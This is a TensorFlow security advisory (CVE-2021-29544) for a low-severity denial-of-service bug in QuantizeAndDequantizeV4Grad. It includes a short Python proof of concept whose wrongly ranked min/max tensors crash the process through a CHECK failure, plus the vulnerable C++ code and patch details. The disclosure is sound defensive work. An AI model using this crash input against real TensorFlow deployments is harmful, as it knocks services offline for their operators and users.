# `CHECK`-fail in `QuantizeAndDequantizeV4Grad`

Low **mihaimaruseac** published **GHSA-6g85-3hm8-83f9** on May 12, 2021

Package

**tensorflow, tensorflow-cpu, tensorflow-gpu** (pip)

| Affected versions | Patched versions |
| --- | --- |
| 2.4.0, 2.4.1 | 2.4.2 |

Description

## Impact

An attacker can trigger a denial of service via a `CHECK` -fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad` :

```
import tensorflow as tf

gradient_tensor = tf.constant([0.0], shape=[1])
input_tensor = tf.constant([0.0], shape=[1])
input_min = tf.constant([[0.0]], shape=[1, 1])
input_max = tf.constant([[0.0]], shape=[1, 1])

tf.raw_ops.QuantizeAndDequantizeV4Grad(
  gradients=gradient_tensor, input=input_tensor,
  input_min=input_min, input_max=input_max, axis=0)
```

This is because the implementation does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to `QuantizeAndDequantizePerChannelGradientImpl` :

```
template <typename Device, typename T>
struct QuantizeAndDequantizePerChannelGradientImpl {
  static void Compute(const Device& d,
                      typename TTypes<T, 3>::ConstTensor gradient,
                      typename TTypes<T, 3>::ConstTensor input,
                      const Tensor* input_min_tensor,
                      const Tensor* input_max_tensor,
                      typename TTypes<T, 3>::Tensor input_backprop,
                      typename TTypes<T>::Flat input_min_backprop,
                      typename TTypes<T>::Flat input_max_backprop) {
    ...
    auto input_min = input_min_tensor->vec<T>();
    auto input_max = input_max_tensor->vec<T>();
    ...
}
```

However, the `vec<T>` method, requires the rank to 1 and triggers a `CHECK` failure otherwise.

## Patches

We have patched the issue in GitHub commit 20431e9044cf2ad3c0323c34888b192f3289af6b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.

## For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

## Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29544

Weaknesses

No CWEs